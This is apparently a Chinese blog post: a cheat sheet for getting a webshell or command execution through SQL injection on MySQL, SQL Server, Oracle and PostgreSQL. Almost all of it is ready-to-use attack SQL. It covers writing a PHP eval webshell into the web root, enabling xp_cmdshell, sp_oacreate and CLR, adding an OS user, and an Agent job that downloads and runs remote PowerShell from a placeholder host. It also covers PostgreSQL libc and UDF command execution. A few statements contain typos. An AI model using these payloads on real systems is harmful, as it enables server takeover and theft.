数据库getshell

简介

简单写一下,在存在注入的情况下,如何拿shell

mysql

文件写入

常用的函数

into dumpfile()
into outfile()

条件

1.知道网站绝对路径
2.目录有写入权限(读文件可以不用,写文件必须)
3.gpc关闭(能使用单引号)
4.secure-file-priv没有设置为NULL

利用方式

有 union
id=2) union select 1,2,3,4,5,6,7,'自己的webshell' into outfile '/home/wwwroot/shadowyspirits/evil.php'%23

无 union
id=2) into outfile '/home/wwwroot/shadowyspirits/evil.php' fields terminated by '自己的webshell'%23

利用日志文件写入木马

开启日志功能

set global slow_query_log=1;

设置日志存储路径

SET GLOBAL slow_query_log_file='D:\\phpstudy_pro\\WWW\\shell.php';

执行sql语句 将shell写入日志

select '自己的shell' or SLEEP(11);

sqlserver

xp_cmdshell命令执行

条件

sa权限

判断是否开启xp_cmdshell ​ 返回1是打开 返回0是关闭

select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell' 

如果xp_cmdshell未开启 可执行以下命令进行开启

execute('sp_configure "show advanced options",1')  #将该选项的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure "xp_cmdshell", 1')           #将xp_cmdshell的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure')                            #查看配置
execute('xp_cmdshell "whoami"')                    #执行系统命令
 
或者
exec sp_configure 'show advanced options',1;       
reconfigure;                                       
exec sp_configure 'xp_cmdshell',1;                 
reconfigure;                                      
exec sp_configure;                                 
exec xp_cmdshell 'whoami';

sp_oacreate命令执行

条件

sa权限

查看sp_oacreate 是否被允许

declare @shell int 
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'whoami'

开启sp_oacreate

EXEC sp_configure 'show advanced options', 1;    
	-- 类似于exe('sp_configure' "show advanced options",1)
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;

sp_oacreate 命令是无回显

-- 执行添加用户命令 进行测试
declare @shell int 
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,
'c:\windows\system32\cmd.exe /c net user hack Password@ /add'   
	--上面sql server语言固定,最后一行是执行的系统命令

clr命令执行

条件

sa权限

创建CLR有两种方式:

1.使用DLL文件进行创建
2.使用文件16进制流进行创建

启用CLR功能

exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
-- 如果存在权限问题,执行下面命令
alter database [master] set TRUSTWORTHY on  --后续要导入不安全的程序集,因此将数据库标记为安全
EXEC sp_changedbowner 'sa'

--导入程序集
CREATE ASSEMBLY [WarSQLKit] 
	AUTHORIZATION [dbo] FROM 十六进制数据 
	WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER 
	AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;

—- 执行命令
EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec ’whoami‘

-- 删除程序集
DROP PROCEDURE sp_cmdExec;
DROP ASSEMBLY [WarSQLKit];

通过沙盒执行命令

开启沙盒:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

然后利用jet.oledb执行命令:

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')

Agent Job命令执行

此种方式适用于服务器开启了MSSQL Agent Job服务,并且服务器中当前运行的用户账号拥有足够的权限去创建并执行代理作业的情况。
利用代码如下:

USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';

LOG备份

利用条件

1.目标机器存在数据库备份文件。也就是说,如果我们利用test数据库,那么要求test数据库存在数据库备份文件,而且恢复模式得是完整模式
2.知道网站的绝对路径
3.支持堆叠注入
4.至少dbo权限

利用语句

;alter database 库名 set RECOVERY FULL--       #修改数据库恢复模式为 完整模式
;create table cmd(a image)--        #创建一张表cmd,只有一个列 a,类型为image
;insert into cmd(a) values (0x一句话木马)--        #插入一句话到cmd表里,注意一句话木马为十六进制
;backup database 数据库名 to disk = 'c:\www\panda.bak'--         #先手动备份一遍
;backup log 数据库名 to disk = 'c:\www\panda.asp' with init--      #利用log备份到web路径getshell
;Drop table 数据库名..表名--     #删除表

差异备份

可能导致崩溃现象,不建议使用
利用条件

1.知道网站的绝对路径
2.支持堆叠注入
3.数据量不能太大
4.至少dbo权限

利用语句

create table [dbo].[test] ([cmd] [image])    -- 创建表dbo.test,列为cmd 类型image

declare @a sysname,@s nvarchar(4000) 
	select @a=db_name(),@s=xie backup log @a to disk = @s 
	with init,no_truncate              -- 备份表

insert into [test](cmd) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e)
    -- 向表test的cmd列插入一句话木马
    
declare @a sysname,@s nvarchar(4000) select 	@a=db_name(),@s=0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000 backup log @a to disk=@s with init,no_truncate
	-- 备份操作日志到指定文件

Drop table [test]   		 --删除test表

oracle

利用文件访问包写WebShell

条件

1.有DBA权限
2.获得Web目录的绝对路径

首先创建一个ORACLE的目录对象指向某一路径

create or replace directory IST0_DIR as '/home/oracle';

创建好后,我们需要对其进行一下授权过程,让其能够顺利的写入WebShell代码。

declare
  isto_file utl_file.file_type;
begin
  isto_file := utl+file.fopen('IST0_DIR','shell.php','w');
  utl_file.put_line(isto_file,'自己的webshell');
  utl_file.fflush(isto_file);
  utl_file.fclose(isto_file);
end;

postgresql

写shell

简单的写webshell

COPY (select '自己的webshell') to '/tmp/1.php';

二进制文件写入

这里需要分片进行上传就是将文件分成小于等于2KB大小的hex再进行上传,但是在9.6版本中(我测试的版本)必须切割等于2KB的数据上传才会成功,具体到命令执行处详细说明.

ERROR:  pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378

首先创建一个OID作为写入的对象,然后通过0,1,2,3...分片上传但是对象都为12345最后导出到/tmp目录下,收尾删除OID

SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/test.so');
SELECT lo_unlink(12345);

低版本的命令执行

可以直接调用/lib/libc.so.6或者是/lib64/libc.so.6

一般8.2以下的版本可以
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;
CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;

直接可以执行

select system('id');

高版本的命令执行

当postgresql版本高于8.2存在安全机制无法调用系统libc.so.6所以需要自己利用UDF进行命令执行

ERROR:  incompatible library "xxx.so": missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

第一步可以先查看postgresql支持的扩展语言:

select * from pg_language;

如果支持python perl就很简单和低版本一样直接创建调用

redis

已经写过了:https://www.cnblogs.com/one-seven/p/15162039.html

参考

https://blog.csdn.net/weixin_46684578/article/details/118436385
https://blog.csdn.net/qq_33020901/article/details/79032774

posted @ 2021-09-23 16:47  one-seven  阅读(656)  评论(0编辑  收藏  举报